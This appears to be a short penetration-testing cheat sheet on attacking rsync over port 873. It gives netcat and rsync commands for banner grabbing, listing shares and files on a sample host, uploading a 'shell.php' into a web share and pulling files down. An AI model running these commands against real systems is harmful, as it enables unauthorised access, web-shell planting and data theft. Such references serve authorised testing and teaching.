Port 873 - rsync

rsync is a utility for efficiently transferring and synchronizing files between a computer and an external hard drive and across networked computers.

873 - Pentesting RsyncHackTricks

Enumeration

# Check banner and version number, etc.
nc -vn $RHOST 873

# Enumerate share folders 
rsync <Target IP>:: 
rsync 10.10.100.27::  

# Enumerate files 
rsync -av rsync://10.10.100.27/httpd 
rsync -av --list-only rsync://10.10.100.27/httpd  

FIle Upload & Download

# Upload files
rsync shell.php 10.10.100.27::httpd 
 
# Download files
rsync -r 10.10.100.27::httpd/ .